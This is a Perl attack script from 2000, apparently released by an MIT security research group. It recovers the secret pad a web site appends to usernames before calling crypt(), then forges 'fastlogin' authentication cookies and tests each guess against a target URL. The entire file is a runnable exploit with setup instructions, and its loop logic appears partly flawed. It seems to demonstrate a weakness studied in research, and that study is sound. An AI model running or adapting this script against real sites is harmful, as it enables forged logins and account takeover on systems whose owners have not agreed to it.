#!/usr/bin/perl

# cryptquery.pl

# Copyright (C) 2000 Applied Security Reading Group.
# Unlimited redistribution permitted.
# http://pdos.lcs.mit.edu/asrg/
# This script requires the LWP module and its prerequisites.
# You can get them from www.CPAN.org
# Written by Kevin Fu <fubob@mit.edu> and Dave Andersen <dga@lcs.mit.edu>

# This script uses an adaptive chosen plaintext attack to undercover
# the semi-secret used in crypt().  This assumes the semi-secret "pad"
# is simply appended to the input (a username) before calling crypt().
# It also assumes the crypt() function on the server ignores everything
# after the 8th character.

use LWP::UserAgent;
use HTTP::Cookies;

##### These are variables you need to set before running the script
# The well-known 2-char salt
$mysalt = "sK";  

# A URL that returns response code 200 if cookie ok, or any other
# code if cookie not authentic.
#$url    = "http://somewhere/somepage.html";

# A file that contains any other cookies necessary
# to load the URL.  Netscape format.  E.g., ~/.netscape/cookies
$cookiefile = "/tmp/cookies.txt";

$ua = new LWP::UserAgent;
$ua->agent("Mozilla/8.0");  # Why not?
$request = new HTTP::Request ('GET', $url);

# Load any optional cookies from the "./cookies.txt" file
# If you can't figure out how, you shouldn't use this script.
$cookie = HTTP::Cookies::Netscape->new (
	    File     => $cookiefile,
 	    AutoSave => 0, );

# Start with 7-character username to find the left-most padding char
$username = "bitdiddl";  

# What we know about the padding appended to the input of crypt.
$pad = "";  

# Try every possible character for the current pad character
$iteration = 1;
for ($count = 0; $count <= 128; $count++) {
    $guess = sprintf("%c", $count);
    $out = crypt ($username . $pad . $guess, $mysalt);
    print " [$count]\n";
    # Disable the above print if you want to run faster.
    
    $cookie->set_cookie(1, "fastlogin" => "$username$out", "/",
			".somedomain.com");
    
    $cookie->add_cookie_header($request);
    $ua->cookie_jar( $cookie );
    
    $response = $ua->simple_request( $request );
    
    if ($response->is_success) {
#	print $request->as_string();
#	print $response->content;
	$pad = $pad . $guess;
	if ((20 <= $count) && ($count <= 126)) {
	    # Printable character
	    print "SUCCESS: [$guess] : $out\n";
	    print "Secret so far: $pad\n";
	} else {
	    print "SUCCESS: [ASCII decimal $count] : $out\n";
	}
    } 
# else {
#	print $request->as_string();
#	print "FAILED: ", $response->code, " ", $response->message, "\n";
#       }
    
    if ($iteration == 8) {
	print "Exhausted.  Pad is so far: $pad\n";
	exit;
    }
    $iteration++;
    
    # So that we don't flood the web server with requests
    sleep 1;  
}
